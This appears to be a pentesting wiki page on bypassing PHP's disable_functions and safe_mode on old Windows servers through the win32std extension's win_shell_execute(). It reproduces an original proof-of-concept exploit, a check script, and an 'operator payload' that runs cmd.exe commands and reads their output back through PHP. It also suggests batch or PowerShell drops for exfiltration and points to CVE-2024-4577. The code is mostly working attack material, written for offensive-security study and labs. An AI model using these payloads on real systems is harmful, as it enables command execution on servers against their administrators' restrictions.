disable-functions-bypass-php-5-2-3-win32std-ext-protections-bypass.md (7630B)
1 --- 2 title: "PHP 5.2.3 - Win32std ext Protections Bypass" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP 5.2.3 - Win32std ext Protections Bypass 14 15 This is a **legacy Windows-only bypass** that depends on the old **`win32std`** PECL extension exposing **`win_shell_execute()`**. It is useful in **CTFs, old appliances, and abandoned shared-hosting stacks**, but it is **not** a generic modern `disable_functions` bypass. 16 17 ## Why it works 18 19 `disable_functions` only blocks the PHP internals explicitly listed in `php.ini`. If a third-party extension exposes a helper that eventually reaches the OS itself, that helper is **outside** the disabled built-in function set unless the admin also removes the extension or blocks that exact entry point. 20 21 In this case, the primitive is: 22 23 ```php 24 win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); 25 ``` 26 27 The old `win32std` extension documented `win_shell_execute(string absolute_path[, string action, string args, string dir])` as a wrapper around normal Windows shell actions. In practice, on vulnerable legacy installs this gives you a process-spawning primitive even if common functions such as `system()` were disabled. 28 29 ## Preconditions 30 31 - **Windows target** 32 - **Very old PHP branch** where `safe_mode` still existed 33 - **`win32std` PECL extension loaded** 34 - The hosting context must allow the spawned process to start under the web server account 35 36 Practical notes: 37 38 - The original PoC was tested on **PHP 5.2.3 / Windows XP SP2**. 39 - This technique is mostly relevant when you see `phpinfo()` output or an extension list containing **`win32std`**. 40 - Do **not** assume modern community forks behave the same way. The historical PECL package is unmaintained and some newer forks keep helper/resource APIs but no longer expose `win_shell_execute()`, so the primitive is tied to the older extension line unless you confirm the function still exists. 41 42 ## 2026 reality check 43 44 The easiest false positive here is **seeing `win32std` and assuming RCE**. Before spending time on payloads, verify the exact exported functions: 45 46 ```php 47 <?php 48 var_dump(extension_loaded('win32std')); 49 print_r(get_extension_funcs('win32std')); 50 var_dump(function_exists('win_shell_execute')); 51 ?> 52 ``` 53 54 Things worth checking from a shell or via `phpinfo()`: 55 56 - **Package age**: the original PECL `win32std` package was released as **1.0 beta in 2003** and is currently marked **unmaintained**.<sup>[[1]](#references)</sup> 57 - **Fork drift**: you may find PHP 7/8 community ports of `win32std`, but some README files only advertise helpers such as `win_beep`, `win_play_wav`, and `win_create_link`. If `win_shell_execute` is missing from `get_extension_funcs('win32std')`, this page does **not** apply. 58 - **SAPI/account context**: the process will run as the web-server identity (`IUSR`, `apache`, `LocalSystem`, service account, etc.), so post-exploitation impact depends on that token. 59 60 If `win32std` is absent, look at the parent page for **different** `disable_functions` / `open_basedir` bypasses, or at [the other legacy Windows trick in this section](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-less-than-5-2-9-on-windows). 61 62 ## Original PoC 63 64 The original SafeBuff post is no longer available; Exploit-DB preserves a mirror of shinnai's PoC.<sup>[[2]](#references)</sup> 65 66 ```php 67 <?php 68 //PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass 69 70 //author: shinnai 71 //mail: shinnai[at]autistici[dot]org 72 //site: http://shinnai.altervista.org 73 74 //Tested on xp Pro sp2 full patched, worked both from the cli and on apache 75 76 //Thanks to rgod for all his precious advises :) 77 78 //I set php.ini in this way: 79 //safe_mode = On 80 //disable_functions = system 81 //if you launch the exploit from the CLI, cmd.exe will be executed 82 //if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager 83 84 if (!extension_loaded("win32std")) die("win32std extension required!"); 85 system("cmd.exe"); //just to be sure that protections work well 86 win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); 87 ?> 88 ``` 89 90 ## Practical operator payload 91 92 The original PoC only proves that **process creation** is possible. In a web context you usually want **command output**, and `win_shell_execute()` returns a boolean, not the spawned process output. Redirect stdout/stderr to a readable file and then fetch it through PHP: 93 94 ```php 95 <?php 96 $tmp = 'C:\\Windows\\Temp\\ht-win32std.txt'; 97 @unlink($tmp); 98 99 win_shell_execute( 100 'C:\\Windows\\System32\\cmd.exe', 101 '', 102 '/c (whoami && hostname) > "' . $tmp . '" 2>&1', 103 'C:\\Windows\\Temp' 104 ); 105 106 sleep(1); 107 echo nl2br(htmlentities(@file_get_contents($tmp))); 108 ?> 109 ``` 110 111 A more realistic variant drops a one-shot batch file or PowerShell command into a writable directory and uses redirection for exfiltration. Because the child process is running under Windows, its file access is constrained by **OS permissions**, not by PHP `open_basedir`. 112 113 ## Operator notes 114 115 - The line `system("cmd.exe");` in the PoC is only a **sanity check** to show that the normal built-in execution function is blocked. The actual bypass is the subsequent **`win_shell_execute()`** call. 116 - The relative path to `cmd.exe` is a convenience trick for old deployments. If you already know an absolute path, prefer passing it directly. 117 - This is primarily a **process execution** primitive. If you need a broader survey of newer `disable_functions` / `open_basedir` bypasses, go back to the parent page: 118 119 [Readme](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/overview) 120 121 - On **modern** Windows PHP targets, the interesting pivot is usually **not** `win32std` but another bug or exposed feature set. For example, vulnerable PHP-CGI deployments on Windows were hit in 2024 by **CVE-2024-4577** argument injection, which is a completely different path from this extension-based trick.<sup>[[3]](#references)</sup> 122 123 ## Constraints 124 125 - **Legacy only**: `safe_mode` disappeared in later PHP branches, so this page is mainly useful for historical targets and labs. 126 - **Extension dependent**: without `win32std`, there is no bypass here. 127 - **Windows only**: this has no value on Linux/*nix targets. 128 - **Not a modern sandbox escape**: if you only control a recent PHP 8 Windows target, do not expect this primitive unless someone intentionally installed an old or custom `win32std` build that still exports `win_shell_execute()`. 129 130 ## References 131 132 - [1] [PECL `win32std` package page and function reference](https://pecl.php.net/package/win32std) 133 - [2] [Exploit-DB mirror of shinnai's original PHP 5.2.3 `win_shell_execute()` PoC](https://www.exploit-db.com/exploits/4218) 134 - [3] [DEVCORE: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability](https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/)